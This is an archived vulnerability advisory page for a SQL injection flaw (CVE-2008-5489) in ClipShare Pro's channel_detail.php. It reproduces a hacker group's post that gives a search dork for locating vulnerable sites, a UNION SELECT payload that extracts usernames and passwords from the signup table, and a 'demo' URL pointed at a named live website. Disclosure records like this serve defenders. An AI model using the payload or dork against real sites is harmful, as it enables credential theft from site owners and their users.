|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | ClipShare Pro 2006-2007 (chid) SQL Injection Vulnerability
|
SecurityAlert : 4713
CVE : CVE-2008-5489
CWE : CWE-89
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : No
Credit : Snakespc
Published : 13.12.2008
Affected Software : | clip-share:clipshare:4::pro |
 Advisory Content : ===========================================================================
=======================================
SSSSS NN N AA K K EEEEE SSSSS TTTTTTTTT
EEEEE AA MM MM
S N N N A A K K E S T
E A A M M M M
SSSSS N N N AAAAAA KKK EEEEE SSSSS T
EEEEE AAAAAA M M M M
S N N N A A K K E S T
E A A M M M
SSSSS N NN A A K K EEEEE SSSSS T
EEEEE A A M M
===================================================SNAKES
TEAM====================================================
+
=
= Script: clipShare Remote SQL Injection
Vulnerability +
+
=
==============================================:::ALGERIAN
HaCkEr:::===============================================
= =
= =
= = Discovered By: Snakespc
:::ALGERIAN HaCkEr::: = =
=
=
= = ************ ::::::home :
www.snakespc.com/sc::::::*************** = =
=
=
= = :::::Mail:
snakespc@gmail.com::::::: = =
=
=
=
script:http://www.clip-share.com =
=
=
= channel_detail.php?chid=
=
=================================== Snakespc
======================================
D0rk: clipshare/channel_detail.php?chid=
Dork: Powered By SalSa Creations
Exploit:
http://localhost/clipshare/channel_detail.php?chid=-1+union+select+1,concat
(0x3a,username,0x3a,pwd),3+from+signup--
Demo :
http://www.salsavidz.com/clipshare/channel_detail.php?chid=-1+union+select+
1,concat(0x3a,username,0x3a,pwd),3+from+signup--
===========================================================================
========================================
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::Super
Cristal:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE
INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/SC >>>> Members
str0ke.....>>>>.....milw0rm
===========================================================================
========================================
References :
http://securityreason.com/expldownload/1/5132/1 (Exploit)
http://www.frsirt.com/english/advisories/2008/3170
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|